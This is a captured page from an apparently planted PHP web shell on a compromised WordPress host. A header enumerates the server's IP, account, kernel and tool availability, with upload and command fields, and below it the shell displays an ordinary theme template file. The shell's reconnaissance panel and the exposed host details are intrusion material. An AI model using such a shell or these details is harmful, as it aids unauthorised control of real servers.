403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/novablog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/novablog/gallery-loop.php
<div class="grid js-masonry ajax-container row zoom-gallery">
<?php 
$paged = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1;

	$args = array(
		'post_type'          => 'gallery',
		'paged'              => $paged,
		'meta_key' => '_thumbnail_id',
		'posts_per_page'          => $images_per_page
		);

$gallery_loop = new WP_Query( $args );
	 if ($gallery_loop->have_posts()) : 
	 while ($gallery_loop->have_posts()) : $gallery_loop->the_post();
	 ?>

<div id="post-<?php the_ID(); ?>" class="post-list_h ajax-post-wrapper block <?php echo esc_attr($cols); ?>" > 

<?php 
				$thumb = get_post_thumbnail_id();
				$img_url = wp_get_attachment_url( $thumb,'full');
				
				$img_width = novablog_getVariable('gallery_image_width') ? novablog_getVariable('gallery_image_width') : 374;
				$img_height = novablog_getVariable('gallery_image_height') ? novablog_getVariable('gallery_image_height') : 320;
				$img = aq_resize( $img_url, $img_width, $img_height, true, true, true );
?>
		<div class="post_content grid-block">

<?php  if(has_post_thumbnail()) { ?>
<div class="thumb-container">
<figure class="featured-thumbnail thumbnail large">
<?php
$novablog_gal_url = get_post_meta( get_the_ID(), 'novablog_gallery_url', true );

$novablog_url_separate_window = get_post_meta( get_the_ID(), 'novablog_url_separate_window', true );
	 	
if ($novablog_url_separate_window != esc_html__('yes', 'novablog')) { ?>
<a class="gallery-ajax-popup archive-button image-wrap zoomer" data-source="<?php echo esc_url($img_url); ?>" href="<?php echo esc_url($img_url); ?>" title="<?php esc_attr(the_title()); ?>">
<?php }else{ ?>
<a class="archive-button image-wrap" href="<?php echo esc_url($novablog_gal_url); ?>" target="_blank" title="<?php esc_attr(the_title()); ?>">
<?php } ?> 
							
		<img src="<?php echo esc_url($img); ?>" width="<?php echo esc_attr($img_width); ?>" height="<?php echo esc_attr($img_height); ?>" alt="<?php esc_attr(the_title());?>" >

	<span class="zoom-icon"></span>
		</a></figure>
	<header class="post-header">
	<?php if (novablog_getVariable( 'gallery_title' )=='yes' || novablog_getVariable( 'gallery_category' )=='yes' || novablog_getVariable( 'gallery_description' )=='yes') { ?>
			<div class="meta-space-top">
<?php if (novablog_getVariable( 'gallery_category' )=='yes') { ?> 
<span class="post_category">
<?php
$terms = wp_get_object_terms($post->ID, 'gallery_categories');
if(is_array($terms)) : 

if(isset($terms[0])) : ?><?php echo esc_attr($terms[0]->name); ?>
 <?php endif;endif; ?>

</span>
 <?php } ?>
	</div>
<?php if (novablog_getVariable( 'gallery_title' )=='yes') { ?>
			<a href="<?php esc_url(the_permalink()); ?>" title="<?php esc_attr(the_title()); ?>"><h3 class="gall-title"><?php esc_attr(the_title()); ?></h3></a>
	<?php } ?>
		

<?php if (novablog_getVariable('post_date')=='yes' or novablog_getVariable('post_date')=='') {novablog_post_meta(array('date'), false, 'meta-space-top'); } ?>
	


	 <?php if (novablog_getVariable( 'gallery_description' )=='yes') {
$gallery_excerpt = novablog_getVariable( 'gallery_excerpt_count' ); 	
$content = get_the_content(); 
if($gallery_excerpt != 0) {
?>

	<div class="post_content">	
		<?php echo novablog_limit_text($content,$gallery_excerpt); ?>
		<div class="clear"></div>
	</div>

	<?php }} ?>
	
<?php } ?>
			
</header></div>
<?php } ?>
</div>
	
</div>
<?php 
 endwhile; ?>
<?php wp_reset_postdata(); ?>
<?php else: ?>	
<?php get_template_part( 'content', 'none' ); ?>
<?php endif; ?>
</div>
<div class="row pagination-below">
					<div class="col-md-12">
					<?php 
$pagination_type = novablog_getVariable('pagination_type');
if(function_exists('novablog_hs_pagination') && $pagination_type=='pagnum') : ?>
  <?php novablog_hs_pagination($gallery_loop->max_num_pages); ?>
<?php endif; ?>
<?php 
if ( $gallery_loop->max_num_pages > 1 && $pagination_type=='paglink' ) : ?>
    <div class="paglink">
     <span class="pull-left">
	  <?php previous_posts_link(theme_locals("newer")); ?>
	   </span>
	   <span class="pull-right">
        <?php next_posts_link(theme_locals("older"), $gallery_loop->max_num_pages); ?>
	  </span>
    </div>
					<?php endif; ?>
  		<?php
		if ( $gallery_loop->max_num_pages > 1 && $pagination_type=='loadmore' or $gallery_loop->max_num_pages > 1 && $pagination_type=='infinite' ) { 
		$all_num_pages = $gallery_loop -> max_num_pages;
  $next_page_url = novablog_next_page($all_num_pages);

?>
<div class="ajax-pagination-container">
  <a href="<?php echo esc_url($next_page_url); ?>" id="ajax-load-more-posts-button"></a>
</div>
</div><div class="clear"></div>
<?php } ?>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit